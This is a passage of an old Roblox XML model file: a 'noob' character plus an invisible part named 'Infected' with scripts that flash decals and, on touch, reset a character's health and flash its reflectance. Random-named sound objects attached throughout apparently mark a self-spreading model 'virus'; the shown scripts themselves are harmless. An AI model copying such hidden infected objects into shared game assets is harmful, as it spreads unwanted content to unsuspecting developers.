						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">noob</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX72">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">24</int>
						<CoordinateFrame name="CFrame">
							<X>-7.49996948</X>
							<Y>6.69984484</Y>
							<Z>28.4999981</Z>
							<R00>8.12741855e-005</R00>
							<R01>-0.0749315917</R01>
							<R02>0.997188628</R02>
							<R10>-0.000125117687</R10>
							<R11>0.997188628</R11>
							<R12>0.0749315992</R12>
							<R20>-1</R20>
							<R21>-0.000130855944</R21>
							<R22>7.16704308e-005</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.0352997035</X>
							<Y>-0.120670609</Y>
							<Z>-0.0478122681</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-0.00422047637</X>
							<Y>0.0388981439</Y>
							<Z>0.0933725312</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX73">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">23</int>
						<CoordinateFrame name="CFrame">
							<X>-7.5</X>
							<Y>6.70007181</Y>
							<Z>29.9999981</Z>
							<R00>-2.90565895e-005</R00>
							<R01>-0.0444188491</R01>
							<R02>-0.999013007</R02>
							<R10>4.4577504e-005</R10>
							<R11>0.999013007</R11>
							<R12>-0.0444188453</R12>
							<R20>1</R20>
							<R21>-4.58241666e-005</R21>
							<R22>-2.70478267e-005</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">6</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">6</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.0290197767</X>
							<Y>0.00253583281</Y>
							<Z>-0.00713461637</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">6</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.0319204889</X>
							<Y>0.00551025942</Y>
							<Z>-0.174552679</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX74">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">24</int>
						<CoordinateFrame name="CFrame">
							<X>-7.56661224</X>
							<Y>8.19843769</Y>
							<Z>29.9999409</Z>
							<R00>-0.997515857</R00>
							<R01>-0.0444038287</R01>
							<R02>0.0546842255</R02>
							<R10>-0.0443378799</R10>
							<R11>0.999013662</R11>
							<R12>0.0024190913</R12>
							<R20>-0.0547377095</R20>
							<R21>-1.15007761e-005</R21>
							<R22>-0.998500764</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Head</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.0738943815</X>
							<Y>-0.000140966717</Y>
							<Z>0.0686723515</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.011262903</X>
							<Y>0.0426842757</Y>
							<Z>-0.233880267</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX75">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1.25</X>
								<Y>1.25</Y>
								<Z>1.25</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Decal" referent="RBX76">
						<Properties>
							<token name="Face">0</token>
							<string name="Name">Decal</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><url>http://www.roblox.com/asset/?id=2156581</url></Content>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX77">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">119</int>
						<CoordinateFrame name="CFrame">
							<X>-7.4111557</X>
							<Y>4.70239115</Y>
							<Z>30.5001068</Z>
							<R00>-1.55062171e-005</R00>
							<R01>-0.0443040468</R01>
							<R02>0.999018073</R02>
							<R10>-6.03393819e-005</R10>
							<R11>0.999018073</R11>
							<R12>0.0443040431</R12>
							<R20>-1</R20>
							<R21>-5.95931451e-005</R21>
							<R22>-1.81642699e-005</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">6</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX78">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">24</int>
						<CoordinateFrame name="CFrame">
							<X>-7.5</X>
							<Y>6.70000029</Y>
							<Z>31.5</Z>
							<R00>-0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.0505230539</X>
							<Y>0.199090034</Y>
							<Z>-0.0144402953</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-0.0026796821</X>
							<Y>0.00206842902</Y>
							<Z>0.0886698514</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX79">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">119</int>
						<CoordinateFrame name="CFrame">
							<X>-7.41117096</X>
							<Y>4.70233011</Y>
							<Z>29.5001087</Z>
							<R00>-1.55062171e-005</R00>
							<R01>-0.0443040468</R01>
							<R02>0.999018073</R02>
							<R10>-6.03393819e-005</R10>
							<R11>0.999018073</R11>
							<R12>0.0443040431</R12>
							<R20>-1</R20>
							<R21>-5.95931451e-005</R21>
							<R22>-1.81642699e-005</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">6</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Humanoid" referent="RBX80">
					<Properties>
						<float name="Health">0</float>
						<float name="MaxHealth">100</float>
						<string name="Name">Humanoid</string>
						<float name="WalkSpeed">16</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX81">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-7.19999981</X>
						<Y>5.60000038</Y>
						<Z>27</Z>
						<R00>-0</R00>
						<R01>-1</R01>
						<R02>-0</R02>
						<R10>-1</R10>
						<R11>-0</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>-0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">false</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Infected</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">9</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
				<Item class="Script" referent="RBX82">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">w=.03
d=script.Parent.Decal
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX83">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">udcr5c0u3</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX84">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">w=.03
d=script.Parent.Decal2
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX85">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">iyfy2r</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Decal" referent="RBX86">
					<Properties>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX87">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">9sim</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Decal" referent="RBX88">
					<Properties>
						<token name="Face">4</token>
						<string name="Name">Decal2</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX89">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">ejg7aef</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="BlockMesh" referent="RBX90">
					<Properties>
						<float name="Bevel">0</float>
						<float name="Bevel Roundness">0</float>
						<float name="Bulge">0</float>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>0</Y>
							<Z>5</Z>
						</Vector3>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX91">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">vh4np</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX92">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">function stick(x, y)
	weld = Instance.new(&quot;Weld&quot;) 

	weld.Part0 = x
	weld.Part1 = y

	local HitPos = x.Position

	local CJ = CFrame.new(HitPos) 
	local C0 = x.CFrame:inverse() *CJ 
	local C1 = y.CFrame:inverse() * CJ 

	weld.C0 = C0 
	weld.C1 = C1 
	
	weld.Parent = x
end

function onTouched(part)
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
	if h~=nil then
wait(0.001)h.Health = 100
children = h.Parent:children()

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
